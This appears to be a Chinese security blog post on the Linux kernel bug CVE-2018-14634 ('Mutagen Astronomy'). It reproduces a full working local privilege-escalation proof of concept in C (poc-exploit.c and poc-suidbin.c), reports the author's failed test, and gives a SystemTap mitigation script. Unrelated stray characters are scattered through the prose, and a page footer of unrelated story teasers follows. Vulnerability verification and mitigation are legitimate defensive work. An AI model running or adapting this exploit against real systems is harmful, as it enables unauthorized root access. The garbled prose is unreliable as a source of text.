CVE-2018-14634(Mutagen Astronomy)漏洞及修復(fù)驗(yàn)證

CVE-2018-14634(Mutagen Astronomy)漏洞及修復(fù)驗(yàn)證

1.漏洞背景

該漏洞于2018-09-25發(fā)布,在linux內(nèi)核的create_elf_tables()函數(shù)中發(fā)現(xiàn)一個(gè)整數(shù)溢出漏洞段化。
非特權(quán)本地用戶可以利用具備SUID(或其它權(quán)限)權(quán)限的二進(jìn)制文件在系統(tǒng)上利用該漏洞進(jìn)行提權(quán)探赫。
嚴(yán)重程度為:高

2.影響版本

該漏洞僅影響64位Linux操作系統(tǒng)徽惋,涉及Kernel版本:2.6.x、3.10.x、4.14.x翘紊,目前確定影響的操作系統(tǒng)為CentOS和RedHat,Red Hat Enterprise MRG 2 、Red Hat Enterprise Linux 6

https://nvd.nist.gov/vuln/detail/CVE-2018-14634

3.漏洞驗(yàn)證

我們利用execve()執(zhí)行一個(gè)SUID-root的二進(jìn)制文件藐唠,其中包含0x80000000的"item",大約0x80000000 * sizeof(char *) = 16GB的參數(shù)指針帆疟,16GB的參數(shù)字符串,16GB的環(huán)境串宇立。 我們的exploit僅需要 2 * 16 = 32GB的內(nèi)容踪宠,不需要3倍或4倍,因?yàn)槲覀兝昧艘恍┘记蓽p少內(nèi)存的占用(例如我們利用16GB的參數(shù)指針替換為等效的文件支持的映射妈嘹,而不消耗內(nèi)存)柳琢。

利用函數(shù)create_elf_tables()整數(shù)溢出。PoC在這中情況下,執(zhí)行SUID-root二進(jìn)制文件(poc-suidbin.c)的main()柬脸。

poc-suidbbin.c

# gcc -O0 -o poc-suidbin poc-suidbin.c
# chown root poc-suidbin
# chmod 4555 poc-suidbin

/*
* poc-suidbin.c for CVE-2018-14634
* Copyright (C) 2018 Qualys, Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program.  If not, see <http://www.gnu.org/licenses/>.
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define die() do { \
  fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
    exit(EXIT_FAILURE); \
} while (0)

int
main(const int argc, const char * const * const argv, const char * const * const envp)
{
   printf("argc %d\n", argc);

    char stack = '\0';
    printf("stack %p < %p < %p < %p < %p\n", &stack, argv, envp, *argv, *envp);

    #define LLP "LD_LIBRARY_PATH"
    const char * const llp = getenv(LLP);
    printf("getenv %p %s\n", llp, llp);

    const char * const * env;
    for (env = envp; *env; env++) {
     if (!strncmp(*env, LLP, sizeof(LLP)-1)) {
         printf("%p %s\n", *env, *env);
     }
    }
    exit(EXIT_SUCCESS);
}

poc-exploit.c

gcc -o poc-exploit poc-exploit.c time ./poc-exploit

/*
 * poc-exploit.c for CVE-2018-14634
 * Copyright (C) 2018 Qualys, Inc.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */

#include <limits.h>
#include <paths.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>

#define MAPCOUNT_ELF_CORE_MARGIN        (5)
#define DEFAULT_MAX_MAP_COUNT   (USHRT_MAX - MAPCOUNT_ELF_CORE_MARGIN)

#define PAGESZ ((size_t)4096)
#define MAX_ARG_STRLEN ((size_t)128 << 10)
#define MAX_ARG_STRINGS ((size_t)0x7FFFFFFF)

#define die() do { \
    fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
    exit(EXIT_FAILURE); \
} while (0)

int
main(void)
{
    if (sizeof(size_t) != sizeof(uint64_t)) die();
    const size_t alpha = 512;
    const size_t sprand = 8192;
    const size_t beta = (size_t)9 << 10;
    const size_t items = (size_t)1 << 31;
    const size_t offset = items * sizeof(uintptr_t);

    #define LLP "LD_LIBRARY_PATH=."
    static char preload_env[MAX_ARG_STRLEN];
  {
    char * const sp = stpcpy(preload_env, "LD_PRELOAD=");
    char * cp = preload_env + sizeof(preload_env);
    size_t n;
    for (n = 1; n <= (size_t)(cp - sp) / sizeof(LLP); n++) {
        size_t i;
        for (i = n; i; i--) {
            *--cp = (n == 1) ? '\0' : (i == n) ? ':' : '0';
            cp -= sizeof(LLP)-1;
            memcpy(cp, LLP, sizeof(LLP)-1);
        }
    }
    memset(sp, ':', (size_t)(cp - sp));
    if (memchr(preload_env, '\0', sizeof(preload_env)) !=
                    preload_env + sizeof(preload_env)-1) die();
  }
    const char * const protect_envp[] = {
        preload_env,
    };
    const size_t protect_envc = sizeof(protect_envp) / sizeof(protect_envp[0]);
    size_t _protect_envsz = 0;
  {
    size_t i;
    for (i = 0; i < protect_envc; i++) {
        _protect_envsz += strlen(protect_envp[i]) + 1;
    }
  }
    const size_t protect_envsz = _protect_envsz;

    const size_t scratch_envsz = (size_t)1 << 20;
    const size_t scratch_envc = scratch_envsz / MAX_ARG_STRLEN;
    if (scratch_envsz % MAX_ARG_STRLEN) die();
    static char scratch_env[MAX_ARG_STRLEN];
    memset(scratch_env, ' ', sizeof(scratch_env)-1);

    const size_t onebyte_envsz = (size_t)256 << 10;
    const size_t onebyte_envc = onebyte_envsz / 1;

    const size_t padding_envsz = offset + alpha;
    /***/ size_t padding_env_rem = padding_envsz % MAX_ARG_STRLEN;
    const size_t padding_envc = padding_envsz / MAX_ARG_STRLEN + !!padding_env_rem;
    static char padding_env[MAX_ARG_STRLEN];
    memset(padding_env, ' ', sizeof(padding_env)-1);
    static char padding_env1[MAX_ARG_STRLEN];
    if (padding_env_rem) memset(padding_env1, ' ', padding_env_rem-1);

    const size_t envc = protect_envc + scratch_envc + onebyte_envc + padding_envc;
    if (envc > MAX_ARG_STRINGS) die();

    const size_t argc = items - (1 + 1 + envc + 1);
    if (argc > MAX_ARG_STRINGS) die();

    const char * const protect_argv[] = {
        "./poc-suidbin",
    };
    const size_t protect_argc = sizeof(protect_argv) / sizeof(protect_argv[0]);
    if (protect_argc >= argc) die();
    size_t _protect_argsz = 0;
  {
    size_t i;
    for (i = 0; i < protect_argc; i++) {
        _protect_argsz += strlen(protect_argv[i]) + 1;
    }
  }
    const size_t protect_argsz = _protect_argsz;

    const size_t padding_argc = argc - protect_argc;
    const size_t padding_argsz = (offset - beta) - (alpha + sprand / 2 +
                   protect_argsz + protect_envsz + scratch_envsz + onebyte_envsz / 2);
    const size_t padding_arg_len = padding_argsz / padding_argc;
    /***/ size_t padding_arg_rem = padding_argsz % padding_argc;
    if (padding_arg_len >= MAX_ARG_STRLEN) die();
    if (padding_arg_len < 1) die();
    static char padding_arg[MAX_ARG_STRLEN];
    memset(padding_arg, ' ', padding_arg_len-1);
    static char padding_arg1[MAX_ARG_STRLEN];
    memset(padding_arg1, ' ', padding_arg_len);

    const char ** const envp = calloc(envc + 1, sizeof(char *));
    if (!envp) die();
  {
    size_t envi = 0;
    size_t i;
    for (i = 0; i < protect_envc; i++) {
        envp[envi++] = protect_envp[i];
    }
    for (i = 0; i < scratch_envc; i++) {
        envp[envi++] = scratch_env;
    }
    for (i = 0; i < onebyte_envc; i++) {
        envp[envi++] = "";
    }
    for (i = 0; i < padding_envc; i++) {
        if (padding_env_rem) {
            envp[envi++] = padding_env1;
            padding_env_rem = 0;
        } else {
            envp[envi++] = padding_env;
        }
    }
    if (envi != envc) die();
    if (envp[envc] != NULL) die();
    if (padding_env_rem) die();
  }

    const size_t filemap_size = ((padding_argc - padding_arg_rem) * sizeof(char *) / (DEFAULT_MAX_MAP_COUNT / 2) + PAGESZ-1) & ~(PAGESZ-1);
    const size_t filemap_nptr = filemap_size / sizeof(char *);
    char filemap_name[] = _PATH_TMP "argv.XXXXXX";
    const int filemap_fd = mkstemp(filemap_name);
    if (filemap_fd <= -1) die();
    if (unlink(filemap_name)) die();
  {
    size_t i;
    for (i = 0; i < filemap_nptr; i++) {
        const char * const ptr = padding_arg;
        if (write(filemap_fd, &ptr, sizeof(ptr)) != (ssize_t)sizeof(ptr)) die();
    }
  }
  {
    struct stat st;
    if (fstat(filemap_fd, &st)) die();
    if ((size_t)st.st_size != filemap_size) die();
  }

    const char ** const argv = mmap(NULL, (argc + 1) * sizeof(char *), PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (argv == MAP_FAILED) die();
    if (protect_argc > PAGESZ / sizeof(char *)) die();
    if (mmap(argv, PAGESZ, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) != argv) die();
  {
    size_t argi = 0;
  {
    size_t i;
    for (i = 0; i < protect_argc; i++) {
        argv[argi++] = protect_argv[i];
    }
  }
  {
    size_t n = padding_argc;
    while (n) {
        void * const argp = &argv[argi];
        if (((uintptr_t)argp & (PAGESZ-1)) == 0) {
            if (padding_arg_rem || n < filemap_nptr) {
                if (mmap(argp, PAGESZ, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) != argp) die();
            } else {
                if (mmap(argp, filemap_size, PROT_READ, MAP_FIXED | MAP_PRIVATE, filemap_fd, 0) != argp) die();
                argi += filemap_nptr;
                n -= filemap_nptr;
                continue;
            }
        }
        if (padding_arg_rem) {
            argv[argi++] = padding_arg1;
            padding_arg_rem--;
        } else {
            argv[argi++] = padding_arg;
        }
        n--;
    }
  }
    if (argi != argc) die();
    if (argv[argc] != NULL) die();
    if (padding_arg_rem) die();
  }

  {
    static const struct rlimit stack_limit = {
        .rlim_cur = RLIM_INFINITY,
        .rlim_max = RLIM_INFINITY,
    };
    if (setrlimit(RLIMIT_STACK, &stack_limit)) die();
  }
    execve(argv[0], (char * const *)argv, (char * const *)envp);
    die();
}

附:自行搭建虛擬機(jī)他去,驗(yàn)證環(huán)境漏洞,驗(yàn)證失敗倒堕,執(zhí)行返回已被殺死灾测,考慮可能是exploit對(duì)機(jī)器內(nèi)存有要求,需要大于32GB垦巴,才能利用該exploit,不知道能不能改成利用小點(diǎn)的內(nèi)存媳搪?估計(jì)不能,否則作者也不會(huì)挑選2*16GB了

run_poc_exploit_failed.png

4.漏洞緩解措施

第一步:在主機(jī)上骤宣,以后綴名.stp保存以下內(nèi)容為文件

// CVE-2018-14634
//
// Theory of operations: adjust the thread's # rlimit-in-effect around
// calls to the vulnerable get_arg_page() function so as to encompass
// the newly required _STK_LIM / 4 * 3 maximum.

// Complication: the rlimit is stored in a current-> structure that
// is shared across the threads of the process. They may concurrently
// invoke this operation.

function clamp_stack_rlim_cur:long ()
%{
  struct rlimit *rlim = current->signal->rlim;
  unsigned long rlim_cur = READ_ONCE(rlim[RLIMIT_STACK].rlim_cur);

  unsigned long limit = _STK_LIM / 4 * 3;
  limit *= 4; // multiply it back up, to the scale used by rlim_cur

  if (rlim_cur > limit) {
    WRITE_ONCE(rlim[RLIMIT_STACK].rlim_cur, limit);
    STAP_RETURN(limit);
  } else
    STAP_RETURN(0);
%}

probe kernel.function("copy_strings").call
{
  l = clamp_stack_rlim_cur()
   if (l)
     printf("lowered process %s(%d) STACK rlim_cur to %p\n",
            execname(), pid(), l)
}

probe begin {
printf("CVE-2018-14634 mitigation loaded\n")

}

probe end {
printf("CVE-2018-14634 mitigation unloaded\n")
}

第二步:安裝“systemtap”包和所需要的所有依賴(lài)蛾号。安裝參考Red Hat Linux
"SystemTap Beginners Guide"文檔中的第二章節(jié) Using SystemTap

第三步:以Root運(yùn)行命令:stap - g [filename-from-step-1].stp

第四項(xiàng):如果系統(tǒng)重啟,則上述的修改則丟失涯雅,需要重新運(yùn)行腳本鲜结。

如果采用kernel module方式運(yùn)行腳本,需要在一個(gè)開(kāi)發(fā)系統(tǒng)上構(gòu)建該腳本:"stap -g -p 4 [filename-from-step-1].stp"活逆,分發(fā)該module到所有受影響的系統(tǒng)精刷,運(yùn)行"staprun -L <module>" 。 這樣操作的話蔗候,被分發(fā)的系統(tǒng)只需要systemtap-runtime包怒允,但是kernel版本需要一致。

參考:

https://seclists.org/oss-sec/2018/q3/274
https://www.anquanke.com/post/id/160762
https://access.redhat.com/security/cve/cve-2018-14634

微信公眾號(hào):https://mp.weixin.qq.com/s?__biz=MzUzNzYwMjA4NQ==&mid=2247483669&idx=1&sn=a5acd03e09eb6d83ae6cefc93c1707fd&chksm=fae5305fcd92b94905287b6f95914a1d6bdb698c5d2edc87a1da5cb460d127c34a8bd43f7e30&token=1427536961&lang=zh_CN#rd

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末锈遥,一起剝皮案震驚了整個(gè)濱河市纫事,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌所灸,老刑警劉巖丽惶,帶你破解...
    沈念sama閱讀 222,590評(píng)論 6 517
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異爬立,居然都是意外死亡钾唬,警方通過(guò)查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 95,157評(píng)論 3 399
  • 文/潘曉璐 我一進(jìn)店門(mén)侠驯,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)抡秆,“玉大人,你說(shuō)我怎么就攤上這事吟策∪迨浚” “怎么了?”我有些...
    開(kāi)封第一講書(shū)人閱讀 169,301評(píng)論 0 362
  • 文/不壞的土叔 我叫張陵檩坚,是天一觀的道長(zhǎng)着撩。 經(jīng)常有香客問(wèn)我诅福,道長(zhǎng),這世上最難降的妖魔是什么睹酌? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 60,078評(píng)論 1 300
  • 正文 為了忘掉前任权谁,我火速辦了婚禮剩檀,結(jié)果婚禮上憋沿,老公的妹妹穿的比我還像新娘。我一直安慰自己沪猴,他們只是感情好辐啄,可當(dāng)我...
    茶點(diǎn)故事閱讀 69,082評(píng)論 6 398
  • 文/花漫 我一把揭開(kāi)白布。 她就那樣靜靜地躺著运嗜,像睡著了一般壶辜。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上担租,一...
    開(kāi)封第一講書(shū)人閱讀 52,682評(píng)論 1 312
  • 那天砸民,我揣著相機(jī)與錄音,去河邊找鬼奋救。 笑死岭参,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的尝艘。 我是一名探鬼主播演侯,決...
    沈念sama閱讀 41,155評(píng)論 3 422
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼背亥!你這毒婦竟也來(lái)了秒际?” 一聲冷哼從身側(cè)響起,我...
    開(kāi)封第一講書(shū)人閱讀 40,098評(píng)論 0 277
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤狡汉,失蹤者是張志新(化名)和其女友劉穎娄徊,沒(méi)想到半個(gè)月后,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體盾戴,經(jīng)...
    沈念sama閱讀 46,638評(píng)論 1 319
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡嵌莉,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 38,701評(píng)論 3 342
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了捻脖。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片锐峭。...
    茶點(diǎn)故事閱讀 40,852評(píng)論 1 353
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖可婶,靈堂內(nèi)的尸體忽然破棺而出沿癞,到底是詐尸還是另有隱情,我是刑警寧澤矛渴,帶...
    沈念sama閱讀 36,520評(píng)論 5 351
  • 正文 年R本政府宣布椎扬,位于F島的核電站惫搏,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏蚕涤。R本人自食惡果不足惜筐赔,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 42,181評(píng)論 3 335
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望揖铜。 院中可真熱鬧茴丰,春花似錦、人聲如沸天吓。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 32,674評(píng)論 0 25
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)龄寞。三九已至汰规,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間物邑,已是汗流浹背溜哮。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 33,788評(píng)論 1 274
  • 我被黑心中介騙來(lái)泰國(guó)打工, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留色解,地道東北人茂嗓。 一個(gè)月前我還...
    沈念sama閱讀 49,279評(píng)論 3 379
  • 正文 我出身青樓,卻偏偏與公主長(zhǎng)得像冒签,于是被迫代替她去往敵國(guó)和親在抛。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,851評(píng)論 2 361

推薦閱讀更多精彩內(nèi)容

  • 看到去年日記中這樣一句話萧恕,“因?yàn)橐?jiàn)過(guò)月亮刚梭,所以即使路燈很暖很亮,也終究是不及的票唆∑佣粒” 可是如今,相比月亮走趋,還是路燈更...
    待綻放閱讀 415評(píng)論 2 5
  • 愛(ài)情衅金,讓她一無(wú)所有 1 生活瑣碎平凡,充滿了煙火氣簿煌。 熱播劇踏火行歌中氮唯,余英男對(duì)英奇說(shuō)“想回到小村村。娘做的元?dú)庹?..
    青天碧水閱讀 400評(píng)論 1 1
  • 如果是為了給孩子提供線下展示的機(jī)會(huì)的話姨伟,都不需要一周一次這么多惩琉,一月一次就行。讓有意愿的家長(zhǎng)和孩子精心準(zhǔn)備夺荒,咱們準(zhǔn)...
    笑媽和葫蘆兄妹閱讀 102評(píng)論 0 1
  • 今天5月18日,中考倒計(jì)時(shí)27天伍玖。 每天給自己一個(gè)小結(jié)嫩痰,真的很好。最近班級(jí)電風(fēng)扇吹的呼呼的窍箍,實(shí)在還不夠串纺,有人還自備...
    俞春霞閱讀 450評(píng)論 0 1
  • 冬去春來(lái)春常在,云來(lái)風(fēng)往風(fēng)常往…… 也許你會(huì)忘了我仔燕,就像忘記了冬的陽(yáng)光造垛;我出現(xiàn)在你的冬天里魔招,又在你的冬天里消失晰搀。你...
    阿木洛克人閱讀 212評(píng)論 0 0